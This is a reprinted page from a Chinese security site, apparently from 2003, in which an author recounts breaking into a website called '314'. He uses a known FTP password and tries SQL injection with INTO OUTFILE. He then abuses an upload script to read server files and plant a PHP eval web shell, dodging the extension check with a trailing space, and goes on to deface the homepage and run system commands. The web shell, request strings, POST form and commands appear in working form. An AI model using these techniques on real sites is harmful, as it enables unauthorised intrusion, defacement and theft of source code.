登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  WordPress wp-trackback.php..
  PHP-Nuke web中心系统中的用..
  PHP-Nuke web中心系统中的用..
  新浪UC ActiveX多个远程栈溢..
  MS06-055 XP-SP2 Exploit Ch..
  Setuid() - nproc limit 类型..
  利用异常处理执行shellcode实..
  ipb search.php 漏洞分析及思..
  Microsoft Windows图形渲染引..
  CCProxy 6.2溢出学习笔记
  Php5 GPC绕过缺陷
  IE mhtml redirection漏洞利..
本站原创
最新招聘信息

您现在的位置:立华软件园->安全防线->漏洞分析
很简单的攻击 - 314被黑全过程
发表日期:2003-08-18作者:[] 出处:  

314被黑全过程

漏洞在文件上传的功能

本来没打算要黑的,但是因为他们开了FTP服务器,而其中一个用户的密码我又刚好知

道,所以就把他们主页上论坛的代码偷出来看了一下,mySQL的处理不很严密,$id之类

的变量都没有加引号,普通的字符串加了引号但是没有用mysql_escape_string处理,

我一开始就朝这个方向努力。有一个地方是这样写的:

$result=mysql_query("select * from article where flag='' and id="

         .$father,$db);

我在一片id是347贴子里面写了个PHP,然后我post了这么一个father:

347 into outfile 'f:/htdocs/cmd.php'

这样就能把贴子的内容写到php里面。注意,我熟悉他们的文件系统,web文件在

"f:\htdocs\"下面我事先是知道的。

但是没有成功,我开始以为是mysql把文件的权限去掉了,过了一会儿才想起来一定是

他们的php.ini里面设置了

magic_quotes_gpc=On

这样引号到了php脚本里面就自动加上了反斜杠,这么基本的概念我忘了,惭愧惭愧

于是我认为他们的论坛是无懈可击的,但是后来我注意到论坛上的一个上传的功能。我

试了一下,禁止了.php的上传,我觉得没有漏洞,但是出于好奇,我把它处理上传的

php拿下来看了一下,最关键的代码是这样的:

else if (file_exists("upload/".$file_name))

 $upload_error="已经存在一个叫$file_name 的文件。";

else if (strtolower(substr($file_name,-4))==".php")

 $upload_error="不能上传.php 文件。";

else if (preg_match("/\//i",$file_name)) $upload_error="你在干什么?";

else if (!copy($file,"upload/".$file_name)) $upload_error="原因不明。";

看起来判断很严密,因为在windows文件系统里面,最后一个字符是不能为空格的(相

应的材料可以在linux处理vfat的那个模块里面查到)。但是作者没有用

is_upload_file来判断,这个漏洞很久远了,我试了下面的命令:

upload.php?file_name=a.txt&file=c:/autoexec.bat

autoexec.bat就可以用浏览器看见了。我觉得不知足,上传了一个instruction.txt的

文件,文件内容如下:

<?php error_reporting (E_ALL ^ E_NOTICE); eval(StripSlashes($cmd)); ?>

这个文件可以用来执行任何的php命令。我用了这样一个命令:

upload.php?file_name=cmd.php%20&file="f:/htdocs/weed/upload/instruction.txt

作者提示了上传以后文件的位置,所以我很容易知道我传上去的instruction.txt的绝

对路径。注意这里我在cmd.php后面加了一个空格,骗过了作者的php脚本,copy函数

忠实的为我服务了。

这样cmd.php就已经在服务器上了。为了用POST从而不在他们服务器的log里面留下痕

迹,我又在本地写了这样一个html(事实上上面的upload.php的攻击也应该用POST):

<form method="post" action="http://xxx/weed/upload/cmd.php">

<input name="cmd" type="input" style="{width:400}" />

<input type="submit" value="go" />

</form>

然后就是直接发命令了,我先上传了一个我自己的首页,然后依次在我自己的html的文

本框里面输入以下内容再post上去:

rename("f:/htdocs/index.php", "f:/htdocs/index.old.php");

rename("f:/htdocs/weed/upload/mypage.html", "f:/htdocs/index.html");

好了,首页已经被改掉了。然后就是很老套了,服务器上有了后门,操作就容易了:

system("dir c:\\");

这个列出了服务器上c:\下面的文件

system("type f:\\htdocs\\weed\\forum.php");

这个列出了论坛的一个PHP的源码。

忠告:做大站点很难保证代码没有一点问题,但是要注意的是,即使是很小的一个漏

洞,也可能可以毁了整个站点。

wuxinan@wuxinan.net

ATP

攻击方法都是很老套的了,可以自由转载

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 很简单的攻击 - 314被黑全过程
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00493